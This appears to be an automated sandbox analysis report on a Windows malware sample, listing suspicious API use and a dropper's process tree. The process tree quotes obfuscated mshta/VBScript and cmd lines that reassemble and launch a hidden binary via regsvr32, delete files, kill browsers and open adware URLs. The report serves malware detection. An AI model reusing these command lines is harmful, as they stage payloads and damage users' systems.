pid Process 2040 toolspab2 (2).exe 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1600 BF40.exe 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 2868 cjwdtar 2440 udwdtar 1500 explorer.exe 1500 explorer.exe 1616 explorer.exe 1616 explorer.exe 1344 explorer.exe 1344 explorer.exe 1356 explorer.exe 1356 explorer.exe 1944 explorer.exe 1944 explorer.exe 848 explorer.exe 848 explorer.exe 2436 toolspab1.exe 1356 explorer.exe 1356 explorer.exe 1944 explorer.exe 1944 explorer.exe 848 explorer.exe 848 explorer.exe 972 udwdtar 304 cjwdtar 1356 explorer.exe 1356 explorer.exe 1944 explorer.exe 1944 explorer.exe 848 explorer.exe 848 explorer.exe 1500 explorer.exe 1500 explorer.exe 1344 explorer.exe 1344 explorer.exe 1356 explorer.exe 1356 explorer.exe 1944 explorer.exe 1944 explorer.exe 848 explorer.exe 848 explorer.exe 2216 cjwdtar 1724 udwdtar 1616 explorer.exe 1616 explorer.exe 1356 explorer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeDebugPrivilege 1560 A353.exe Token: SeDebugPrivilege 2008 D531.exe Token: SeDebugPrivilege 888 D531.exe Token: SeDebugPrivilege 1600 taskkill.exe Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeCreateTokenPrivilege 872 B1FD.exe Token: SeAssignPrimaryTokenPrivilege 872 B1FD.exe Token: SeLockMemoryPrivilege 872 B1FD.exe Token: SeIncreaseQuotaPrivilege 872 B1FD.exe Token: SeMachineAccountPrivilege 872 B1FD.exe Token: SeTcbPrivilege 872 B1FD.exe Token: SeSecurityPrivilege 872 B1FD.exe Token: SeTakeOwnershipPrivilege 872 B1FD.exe Token: SeLoadDriverPrivilege 872 B1FD.exe Token: SeSystemProfilePrivilege 872 B1FD.exe Token: SeSystemtimePrivilege 872 B1FD.exe Token: SeProfSingleProcessPrivilege 872 B1FD.exe Token: SeIncBasePriorityPrivilege 872 B1FD.exe Token: SeCreatePagefilePrivilege 872 B1FD.exe Token: SeCreatePermanentPrivilege 872 B1FD.exe Token: SeBackupPrivilege 872 B1FD.exe Token: SeRestorePrivilege 872 B1FD.exe Token: SeShutdownPrivilege 872 B1FD.exe Token: SeDebugPrivilege 872 B1FD.exe Token: SeAuditPrivilege 872 B1FD.exe Token: SeSystemEnvironmentPrivilege 872 B1FD.exe Token: SeChangeNotifyPrivilege 872 B1FD.exe Token: SeRemoteShutdownPrivilege 872 B1FD.exe Token: SeUndockPrivilege 872 B1FD.exe Token: SeSyncAgentPrivilege 872 B1FD.exe Token: SeEnableDelegationPrivilege 872 B1FD.exe Token: SeManageVolumePrivilege 872 B1FD.exe Token: SeImpersonatePrivilege 872 B1FD.exe Token: SeCreateGlobalPrivilege 872 B1FD.exe Token: 31 872 B1FD.exe Token: 32 872 B1FD.exe Token: 33 872 B1FD.exe Token: 34 872 B1FD.exe Token: 35 872 B1FD.exe Token: SeDebugPrivilege 1152 taskkill.exe Token: SeDebugPrivilege 1076 9F28.exe Token: SeImpersonatePrivilege 1076 9F28.exe Token: SeDebugPrivilege 1628 B548.exe Token: SeDebugPrivilege 2784 taskkill.exe Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeDebugPrivilege 2428 Puzhedaluxu.exe Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found Token: SeShutdownPrivilege 1208 Process not Found -
Suspicious use of FindShellTrayWindow 13 IoCs
pid Process 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 2968 irecord.tmp 2608 iexplore.exe 2608 iexplore.exe 2608 iexplore.exe 2608 iexplore.exe 2608 iexplore.exe 2608 iexplore.exe -
Suspicious use of SendNotifyMessage 10 IoCs
pid Process 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found 1208 Process not Found -
Suspicious use of SetWindowsHookEx 38 IoCs
pid Process 524 49BD.exe 984 4BA1.exe 2608 iexplore.exe 2608 iexplore.exe 2592 IEXPLORE.EXE 2592 IEXPLORE.EXE 2592 IEXPLORE.EXE 2592 IEXPLORE.EXE 2608 iexplore.exe 2608 iexplore.exe 2096 IEXPLORE.EXE 2096 IEXPLORE.EXE 2096 IEXPLORE.EXE 2096 IEXPLORE.EXE 2608 iexplore.exe 2608 iexplore.exe 1296 IEXPLORE.EXE 1296 IEXPLORE.EXE 1296 IEXPLORE.EXE 1296 IEXPLORE.EXE 2608 iexplore.exe 2608 iexplore.exe 1576 IEXPLORE.EXE 1576 IEXPLORE.EXE 1576 IEXPLORE.EXE 1576 IEXPLORE.EXE 2608 iexplore.exe 2608 iexplore.exe 2592 IEXPLORE.EXE 2592 IEXPLORE.EXE 2592 IEXPLORE.EXE 2592 IEXPLORE.EXE 2608 iexplore.exe 2608 iexplore.exe 2124 IEXPLORE.EXE 2124 IEXPLORE.EXE 2124 IEXPLORE.EXE 2124 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1684 wrote to memory of 2040 1684 toolspab2 (2).exe 29 PID 1208 wrote to memory of 524 1208 Process not Found 30 PID 1208 wrote to memory of 524 1208 Process not Found 30 PID 1208 wrote to memory of 524 1208 Process not Found 30 PID 1208 wrote to memory of 524 1208 Process not Found 30 PID 1208 wrote to memory of 984 1208 Process not Found 31 PID 1208 wrote to memory of 984 1208 Process not Found 31 PID 1208 wrote to memory of 984 1208 Process not Found 31 PID 1208 wrote to memory of 984 1208 Process not Found 31 PID 1208 wrote to memory of 1540 1208 Process not Found 32 PID 1208 wrote to memory of 1540 1208 Process not Found 32 PID 1208 wrote to memory of 1540 1208 Process not Found 32 PID 1208 wrote to memory of 1540 1208 Process not Found 32 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1208 wrote to memory of 672 1208 Process not Found 35 PID 1208 wrote to memory of 672 1208 Process not Found 35 PID 1208 wrote to memory of 672 1208 Process not Found 35 PID 1208 wrote to memory of 672 1208 Process not Found 35 PID 1208 wrote to memory of 824 1208 Process not Found 36 PID 1208 wrote to memory of 824 1208 Process not Found 36 PID 1208 wrote to memory of 824 1208 Process not Found 36 PID 1208 wrote to memory of 824 1208 Process not Found 36 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1540 wrote to memory of 1560 1540 A353.exe 34 PID 1208 wrote to memory of 1644 1208 Process not Found 37 PID 1208 wrote to memory of 1644 1208 Process not Found 37 PID 1208 wrote to memory of 1644 1208 Process not Found 37 PID 1208 wrote to memory of 1644 1208 Process not Found 37 PID 1208 wrote to memory of 1600 1208 Process not Found 38 PID 1208 wrote to memory of 1600 1208 Process not Found 38 PID 1208 wrote to memory of 1600 1208 Process not Found 38 PID 1208 wrote to memory of 1600 1208 Process not Found 38 PID 1208 wrote to memory of 2008 1208 Process not Found 39 PID 1208 wrote to memory of 2008 1208 Process not Found 39 PID 1208 wrote to memory of 2008 1208 Process not Found 39 PID 1208 wrote to memory of 2008 1208 Process not Found 39 PID 1208 wrote to memory of 1980 1208 Process not Found 40 PID 1208 wrote to memory of 1980 1208 Process not Found 40 PID 1208 wrote to memory of 1980 1208 Process not Found 40 PID 1208 wrote to memory of 1980 1208 Process not Found 40 PID 1208 wrote to memory of 1980 1208 Process not Found 40 PID 1208 wrote to memory of 1812 1208 Process not Found 41 PID 1208 wrote to memory of 1812 1208 Process not Found 41 PID 1208 wrote to memory of 1812 1208 Process not Found 41 PID 1208 wrote to memory of 1812 1208 Process not Found 41 PID 2008 wrote to memory of 888 2008 D531.exe 42 PID 2008 wrote to memory of 888 2008 D531.exe 42 PID 2008 wrote to memory of 888 2008 D531.exe 42 PID 2008 wrote to memory of 888 2008 D531.exe 42 PID 1208 wrote to memory of 1356 1208 Process not Found 43 PID 1208 wrote to memory of 1356 1208 Process not Found 43 PID 1208 wrote to memory of 1356 1208 Process not Found 43
Processes
-
C:\Users\Admin\AppData\Local\Temp\toolspab2 (2).exe"C:\Users\Admin\AppData\Local\Temp\toolspab2 (2).exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Users\Admin\AppData\Local\Temp\toolspab2 (2).exe"C:\Users\Admin\AppData\Local\Temp\toolspab2 (2).exe"2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2040
-
-
C:\Users\Admin\AppData\Local\Temp\49BD.exeC:\Users\Admin\AppData\Local\Temp\49BD.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:524
-
C:\Users\Admin\AppData\Local\Temp\4BA1.exeC:\Users\Admin\AppData\Local\Temp\4BA1.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:984
-
C:\Users\Admin\AppData\Local\Temp\A353.exeC:\Users\Admin\AppData\Local\Temp\A353.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\A353.exeC:\Users\Admin\AppData\Local\Temp\A353.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1560
-
-
C:\Users\Admin\AppData\Local\Temp\A7F6.exeC:\Users\Admin\AppData\Local\Temp\A7F6.exe1⤵
- Executes dropped EXE
PID:672
-
C:\Users\Admin\AppData\Local\Temp\AAC4.exeC:\Users\Admin\AppData\Local\Temp\AAC4.exe1⤵
- Executes dropped EXE
PID:824
-
C:\Users\Admin\AppData\Local\Temp\BCB0.exeC:\Users\Admin\AppData\Local\Temp\BCB0.exe1⤵
- Executes dropped EXE
PID:1644
-
C:\Users\Admin\AppData\Local\Temp\BF40.exeC:\Users\Admin\AppData\Local\Temp\BF40.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1600
-
C:\Users\Admin\AppData\Local\Temp\D531.exeC:\Users\Admin\AppData\Local\Temp\D531.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Users\Admin\AppData\Local\Temp\D531.exeC:\Users\Admin\AppData\Local\Temp\D531.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:888
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1980
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1812
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:1356
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:1616
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:1944
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:1344
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:848
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:1500
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:984
-
C:\Users\Admin\AppData\Local\Temp\725B.exeC:\Users\Admin\AppData\Local\Temp\725B.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1032 -
C:\Users\Admin\AppData\Local\Temp\725B.exeC:\Users\Admin\AppData\Local\Temp\725B.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies system certificate store
PID:472 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:2000
-
-
C:\Users\Admin\AppData\Local\Temp\725B.exe"C:\Users\Admin\AppData\Local\Temp\725B.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1808 -
C:\Users\Admin\AppData\Local\Temp\725B.exe"C:\Users\Admin\AppData\Local\Temp\725B.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Modifies extensions of user files
- Loads dropped DLL
PID:2084 -
C:\Users\Admin\AppData\Local\a734445f-7745-45a9-b279-858cb8676aa0\build2.exe"C:\Users\Admin\AppData\Local\a734445f-7745-45a9-b279-858cb8676aa0\build2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2212 -
C:\Users\Admin\AppData\Local\a734445f-7745-45a9-b279-858cb8676aa0\build2.exe"C:\Users\Admin\AppData\Local\a734445f-7745-45a9-b279-858cb8676aa0\build2.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2532 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\a734445f-7745-45a9-b279-858cb8676aa0\build2.exe" & del C:\ProgramData\*.dll & exit7⤵PID:2756
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2784
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:2824
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7410.exeC:\Users\Admin\AppData\Local\Temp\7410.exe1⤵
- Executes dropped EXE
PID:1960 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPt:CloSE ( cREaTEoBJecT ( "wscriPt.shEll" ).Run ( "CMD.Exe /q /C copY /y ""C:\Users\Admin\AppData\Local\Temp\7410.exe"" ..\U1PwSASbnJZ1Nt2.eXE && StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF """" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\7410.exe"" ) do taskkill -iM ""%~NxE"" -f " , 0,TRuE ))2⤵PID:952
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C copY /y "C:\Users\Admin\AppData\Local\Temp\7410.exe" ..\U1PwSASbnJZ1Nt2.eXE&&StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF ""== "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\7410.exe" ) do taskkill -iM "%~NxE" -f3⤵
- Loads dropped DLL
PID:1696 -
C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS4⤵
- Executes dropped EXE
PID:1700 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPt:CloSE ( cREaTEoBJecT ( "wscriPt.shEll" ).Run ( "CMD.Exe /q /C copY /y ""C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE"" ..\U1PwSASbnJZ1Nt2.eXE && StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF ""/P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS "" == """" for %E in ( ""C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE"" ) do taskkill -iM ""%~NxE"" -f " , 0,TRuE ))5⤵PID:1728
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C copY /y "C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE" ..\U1PwSASbnJZ1Nt2.eXE&&StART ..\U1PwSASbnJZ1Nt2.EXe /P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS & IF "/P3CGKJWhQOddZbA4xHxxKHWFcKxxTqS "== "" for %E in ( "C:\Users\Admin\AppData\Local\Temp\U1PwSASbnJZ1Nt2.eXE" ) do taskkill -iM "%~NxE" -f6⤵PID:1368
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipt:clOSe (CreATeobJECT ("WScRIpT.SHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C echo G9wY7C:\Users\Admin\AppData\Local\TempEfSQ> XVLAANMN.HX&echo | Set /p = ""MZ"" > P6JDQwUY.2 & COPY /B /y P6JDQwUY.2 + JRtfD7.X +DYta.ASk + I6sjWDN.8+ M0GT.7_ +XVLAANmN.HX ..\FRKN5p.zE & sTArt regsvr32 /u ..\FRKN5P.zE /S&dEl /q * " , 0,TruE ) )5⤵
- Modifies Internet Explorer settings
PID:844 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C echo G9wY7C:\Users\Admin\AppData\Local\TempEfSQ> XVLAANMN.HX&echo | Set /p = "MZ" > P6JDQwUY.2& COPY /B /y P6JDQwUY.2 + JRtfD7.X +DYta.ASk + I6sjWDN.8+M0GT.7_+XVLAANmN.HX ..\FRKN5p.zE& sTArt regsvr32 /u ..\FRKN5P.zE /S&dEl /q *6⤵PID:568
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "7⤵PID:1156
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /p = "MZ" 1>P6JDQwUY.2"7⤵PID:1368
-
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /u ..\FRKN5P.zE /S7⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:940
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "7410.exe" -f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1600
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7B71.exeC:\Users\Admin\AppData\Local\Temp\7B71.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1596 -
C:\Users\Admin\AppData\Local\Temp\is-7PBLO.tmp\7B71.tmp"C:\Users\Admin\AppData\Local\Temp\is-7PBLO.tmp\7B71.tmp" /SL5="$20180,188175,104448,C:\Users\Admin\AppData\Local\Temp\7B71.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1352 -
C:\Users\Admin\AppData\Local\Temp\is-FD87N.tmp\134 Vaporeondè_éçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-FD87N.tmp\134 Vaporeondè_éçè_)))_.exe" /S /UID=rec73⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:1672 -
C:\Program Files\Google\MWKSNMHWZH\irecord.exe"C:\Program Files\Google\MWKSNMHWZH\irecord.exe" /VERYSILENT4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2948 -
C:\Users\Admin\AppData\Local\Temp\is-4M51M.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-4M51M.tmp\irecord.tmp" /SL5="$401B2,5808768,66560,C:\Program Files\Google\MWKSNMHWZH\irecord.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:2968 -
C:\Program Files (x86)\i-record\I-Record.exe"C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3016
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\d3-10324-5e3-5fe99-6301291fa95bb\Ropyhadyzhi.exe"C:\Users\Admin\AppData\Local\Temp\d3-10324-5e3-5fe99-6301291fa95bb\Ropyhadyzhi.exe"4⤵
- Executes dropped EXE
PID:872 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e65⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2608 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2608 CREDAT:275457 /prefetch:26⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2592
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2608 CREDAT:603158 /prefetch:26⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2096
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2608 CREDAT:210004 /prefetch:26⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1296
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2608 CREDAT:996369 /prefetch:26⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1576
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2608 CREDAT:1061945 /prefetch:26⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2124
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad5⤵PID:3056
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18514835⤵PID:1672
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18515135⤵PID:2728
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=20872155⤵PID:2484
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=42631195⤵PID:328
-
-
-
C:\Users\Admin\AppData\Local\Temp\98-2b57c-8b4-32a9d-25d3b436a9a78\Puzhedaluxu.exe"C:\Users\Admin\AppData\Local\Temp\98-2b57c-8b4-32a9d-25d3b436a9a78\Puzhedaluxu.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2428 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gfe21qs4.pbg\GcleanerEU.exe /eufive & exit5⤵PID:2304
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4exlpzgq.3hd\installer.exe /qn CAMPAIGN="654" & exit5⤵PID:2140
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pdsnw5to.cjo\google-game.exe & exit5⤵PID:524
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\djhan5na.zzk\GcleanerWW.exe /mixone & exit5⤵PID:2320
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\twccqfd3.jmz\toolspab1.exe & exit5⤵PID:940
-
C:\Users\Admin\AppData\Local\Temp\twccqfd3.jmz\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\twccqfd3.jmz\toolspab1.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:880 -
C:\Users\Admin\AppData\Local\Temp\twccqfd3.jmz\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\twccqfd3.jmz\toolspab1.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2436
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9F28.exeC:\Users\Admin\AppData\Local\Temp\9F28.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1076 -
C:\Users\Admin\AppData\Local\Temp\9F28.exe"C:\Users\Admin\AppData\Local\Temp\9F28.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:2352
-
-
C:\Users\Admin\AppData\Local\Temp\B1FD.exeC:\Users\Admin\AppData\Local\Temp\B1FD.exe1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:872 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:1648
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1152
-
-
-
C:\Users\Admin\AppData\Local\Temp\B548.exeC:\Users\Admin\AppData\Local\Temp\B548.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1628
-
C:\Windows\system32\taskeng.exetaskeng.exe {1441D276-5312-47F6-9757-ED920535804A} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]1⤵PID:2376
-
C:\Users\Admin\AppData\Roaming\udwdtarC:\Users\Admin\AppData\Roaming\udwdtar2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2440
-
-
C:\Users\Admin\AppData\Roaming\cjwdtarC:\Users\Admin\AppData\Roaming\cjwdtar2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2452 -
C:\Users\Admin\AppData\Roaming\cjwdtarC:\Users\Admin\AppData\Roaming\cjwdtar3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2868
-
-
-
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2064 -
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task3⤵
- Executes dropped EXE
PID:2548
-
-
-
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1512 -
C:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exeC:\Users\Admin\AppData\Local\13431706-ea3d-41a5-8342-ad93aae8bec6\725B.exe --Task3⤵
- Executes dropped EXE
PID:556
-
-
-
C:\Users\Admin\AppData\Roaming\udwdtarC:\Users\Admin\AppData\Roaming\udwdtar2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:972
-
-
